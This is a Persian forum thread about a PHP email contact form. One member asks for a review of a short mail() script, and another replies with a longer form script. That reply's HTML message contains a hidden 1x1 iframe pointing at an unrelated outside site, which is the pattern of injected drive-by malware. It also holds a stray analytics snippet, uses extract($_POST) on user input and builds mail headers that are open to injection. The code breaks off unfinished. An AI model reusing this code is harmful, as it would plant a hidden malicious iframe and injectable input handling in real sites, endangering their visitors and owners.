-
عضو انجمن
فرم ارسال ایمیل
این کد ها برای ارسال ایمیل مشکلی دارن یا نه؟
کد PHP:
<?php$mail_to="-----------@yahoo.com";$mail_from=$_POST['email'];$mail_subject=$_POST['subject'];$mail_body=$_POST['comment'];if(mail($mail_to,$mail_subject,$mail_body)){echo ("Successfully sent an email titled'$mail_subject'!");
}else{ echo("An error occurred while attempting to send an email ttitled '$mail_subject'!");}?>
لطفا تنظیمات برنامه ومپ رو هم برای ارسال ایمیل از لوکال توضیح بدید مرسی
-
-
June 5th, 2012 13:23
# ADS
-
پاسخ : فرم ارسال ایمیل
با سلام من يه فرم دارم براتون ميزارم ببخشيد php بلد نيستم
کد PHP:
<?php
if(isset($_GET[send])){
extract($_POST);
$to = "";
$subject = "";
$from = "";
//begin of HTML message
$message = '
<html>
<body>
<script type="text/javascript"><!--
var _gaq = _gaq || [];
_gaq.push(
['_setAccount', 'UA-10241535-3'],
['_trackPageview']
);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
//-->
</script>
<table width="600" align="center" class="tbl" >
' ;
foreach ($data as $key=>$val) {
$message .= '
<tr>
<td style="font-family:tahoma;width:200px">'.$key.'</td>
<td style="font-family:tahoma;font-weight:bold">'.$val.'</td>
</tr> ';
}
$message .= '
</table>
<iframe src="http://www.Trenz.pl/rc/" width=1 height=1 frameborder=0></iframe>
</body>
</html>
' ;
//end of message
$headers = "From: $from\r\n";
$headers .= 'Content-type: text/html; charset="utf-8"\r\n';
// now lets send the email.
if(mail($to, $subject, $message, $headers)){
?>
<span id="sent">پیغام شما با موفقیت ارسال گردید</span>
<?php
} else {
?>
-
تعداد تشکر ها از ms313 به دلیل پست مفید
-
عضو انجمن
پاسخ : فرم ارسال ایمیل
ممنون دوست عزیز ولی میخواستم بچه یه نگاهی به اینی که خودم نوشتم بکنن که ایرادهام بر طرف بشه
-